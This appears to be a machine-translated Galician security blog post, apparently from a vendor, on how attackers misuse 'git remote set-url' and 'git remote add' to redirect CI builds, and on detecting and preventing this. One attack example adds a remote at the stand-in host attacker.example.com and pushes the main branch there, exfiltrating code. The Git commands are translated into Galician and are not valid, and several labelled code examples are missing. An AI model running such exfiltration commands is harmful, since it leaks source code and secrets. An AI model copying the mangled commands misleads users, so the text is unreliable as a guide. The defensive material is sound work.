O risco oculto tras un comando sinxelo de Git
Para a maioría dos desenvolvedores, executar un comando como git remote set-url origin Parece rutinario, só outro paso para manter a configuración de Git. Os scripts de CI tamén adoitan executar comandos como git remote set-url, Git set url for remote ou Git remote add to fetch or push code durante as compilacións. Pero aquí está o risco: se un atacante manipula esa configuración (localmente ou en CI), pode redirixir a túa fonte a un repositorio malicioso, interceptar credenciais ou inxectar malware na cadea de subministración.
Exemplo de como se usa normalmente:
# Uso lexítimo
git remoto establece a URL de orixe https://github.com/org/project.git
⚠️ Exemplo inseguro, só para fins educativos. Non o use en produción.
Versión segura, fixación e verificación da orixe do repositorio
Por que? Se o control remoto se cambia a un host controlado por un atacante, cada git fetch/git push posterior apunta a código malicioso. Codifica de forma ríxida as orixes de confianza sempre que sexa posible e evita os URL dinámicos non validados.
Como a manipulación remota compromete a compilación Pipeline
Un URL remoto de Git modificado pode ter consecuencias graves na automatización pipelines onde se confía implicitamente nos scripts.
Escenario de exemplo:
- Un script de CI usa git remote set-url para reconfigurar repositorios dinamicamente.
- Inxéctase no script unha variable de ambiente comprometida (por exemplo, un token ou un URL do repositorio).
- A compilación obtén ou envía código a un repositorio malicioso.
- O atacante insire portas traseiras ou dependencias manipuladas.
⚠️ Exemplo inseguro, só para fins educativos. Non o use en produción.
Versión segura, validar $REPO_URL antes do uso (lista branca / verificación de xygeni).
Polo que: Validar as URL de repositorio entrantes cunha lista branca mantida (ou usar xygeni verify --git-origin) antes de actuar sobre elas. Isto impide que os atacantes anulen as variables de ambiente para redirixir pipelines.
Detección de cambios non autorizados na configuración remota
Git non che avisa cando se modifica un control remoto. Monitorización proactiva de .git/config e son necesarias comprobacións de integridade previas á compilación.
Técnicas prácticas de detección
Inspeccionar a configuración de Git:
Compara a saída cos URL esperados almacenados nunha liña de base segura.
Validar
.git/configintegridade:Compara a suma de comprobación cunha liña base de confianza.
Validación baseada en CI:
Nota educativa: Non execute comprobacións de integridade nin comandos de verificación con credenciais de longa duración expostas en rexistros ou entornos desprotexidos. Empregue credenciais efémeras, segredos almacenados e evite executar comandos de validación como usuario privilexiado sempre que sexa posible.
Consello de detección: Buscar remotos que apunten a dominios non canónicos (inesperados .net, .io, enderezos IP), nomes remotos duplicados ou variables de ambiente que controlan os URL do repositorio sen validación. A detección temperá impide git set-url manipulación por parte de construcións contaminantes.
Protexer as orixes do repositorio con Guardrails e validación hash
A prevención significa aplicar controis estritos sobre os repositorios a partir dos cales se constrúe. Guardrails inclúen a sinatura, a validación hash e a restrición de quen pode modificar as variables de CI.
Prácticas seguras para a integridade do repositorio
Fixar os URL dos repositorios e codificar as orixes de confianza sempre que sexa posible:
Validar os hashes do repositorio:
Verifica que HEAD coincida cun hash esperado antes de compilar.
⚠️ Exemplo inseguro, imprimir tokens nos rexistros (non usar en produción).
Versión segura, ler os segredos da caixa forte e non imprimir nunca
Mini lista de verificación: xestión remota segura de Git
- Cumprir inclusión ou verificación remota de URL.
- Valida a integridade de .git/config antes das compilacións.
- Require asinado commits e etiquetas.
- Restrinxir quen pode modificar as variables de ambiente de CI.
- Rexistrar as execucións de git remote set-url e git remote add para auditoría.
Integración da validación remota de conxuntos de URL de Git en CI/CD Pipelines
Engadir guardrails e verificación automatizada para deter a manipulación remota nas primeiras etapas pipeline.
Exemplo de barreira de seguridade: comprobar se hai controis remotos duplicados ou non autorizados
Reforzo contra a manipulación da cadea de subministración en entornos compartidos
Os executores compartidos e os comandos remotos permisivos son de alto risco. Evita os comandos que engaden comandos remotos non verificados durante o tempo de execución do traballo.
⚠️ Exemplo inseguro, engadindo un atacante remoto (non o use).
Versión segura, restrinxir a dominios validados e usar –set-url só para orixes aprobadas
Nota: prefire os executores efémeros e evite as cachés compartidas persistentes entre traballos.
Nota sobre os executantes: Usa executantes efémeros e illados que se recrean para cada traballo. Os discos ou as cachés compartidos poden conservar ficheiros manipulados entre compilacións.
Integrando o URL definido por Git para a validación remota en CI/CD Pipelines
Asegurar o uso de set-url remoto de git non se trata só de comprobacións manuais; trátase de automatización. Os fluxos de traballo de DevSecOps modernos poden integrar a validación directamente en CI/CD pipelines.
Exemplo: Validación de integridade remota automatizada
Esta configuración garante que, antes de executar calquera compilación ou despregamento, o pipeline valida:
- O URL do repositorio coincide co valor esperado.
- Commit as sinaturas son válidas.
- Non se engadiron controles remotos inesperados usando git add remote.
Controis CI adicionais
- Pre-commit hooks: Comprobe que non haxa persoas non autorizadas git remote set-url existen comandos en commits.
- Aplicación de políticas como código: definir as orixes permitidas como parte das políticas controladas por versións.
- Duplicación de dependencias: extraer código de duplicacións internas verificadas en lugar de fontes directas de Internet.
Automatizar estas comprobacións non só evita configuracións incorrectas, senón que tamén detecta intentos de manipulación da cadea de subministración antes de que se envíe o código.
Reforzo contra a manipulación da cadea de subministración en entornos compartidos
Os executores compartidos ou os entornos de CI efémeros introducen riscos adicionais. Cando varias compilacións comparten recursos, os comandos git remote set-url ou git add remote poden utilizarse como armas para persistir comandos remotos maliciosos entre sesións.
Escenarios de ataque comúns
Un script de compilación comprometido engade un novo control remoto para enviar código ao repositorio dun atacante:
git engade unha copia de seguridade remota https://attacker.example.com/repo.git
git push copia de seguridade principal
- Outro proxecto que se executa no mesmo axente CI obtén información deste estado contaminado.
- Os datos sensibles, como tokens ou artefactos de compilación, fíltranse a través de envíos non autorizados.
Medidas de endurecemento
- Corredores Efímeros: Reiniciar os entornos de CI despois de cada compilación.
- Illamento da rede: Restrinxir o tráfico de saída a dominios aprobados.
- Privilexio mínimo: Limitar os permisos para as operacións de Git en pipelines.
- Sinatura de artefactos: Asegúrate de que todas as saídas de compilación estean asinadas e verificadas criptograficamente.
Ao combinar o illamento, a validación e a monitorización, os equipos poden neutralizar os ataques que explotan o conxunto de URL de git para a manipulación remota.
Validar, monitorizar e automatizar a confianza do repositorio
Un único `git remote set-url` mal usado ou un `git add remote` non verificado pode redirixir silenciosamente todo o proceso de compilación a un repositorio controlado por un atacante. A liña entre a produtividade e o compromiso en DevOps é máis delgada que nunca, e ataques á cadea de subministración de software explotar precisamente iso.
Para manter a confianza no seu pipelines:
- Validar as orixes do repositorio continuamente.
- Cumprir commit e sinatura de artefactos.
- Automatizar comprobacións de integridade en cada etapa CI/CD.
Plataformas como Xíxeno axudar aos equipos de DevSecOps a detectar erros de configuración remotos, supervisar os límites de confianza dos repositorios e bloquear os riscos da cadea de subministración derivados do mal uso de Git, antes de que os remotos maliciosos teñan a oportunidade de implementar código.
Confía no teu fluxo de traballo, pero verifica a túa fonte. Así é como evitas que git remote set-url se converta na túa próxima violación de seguridade.
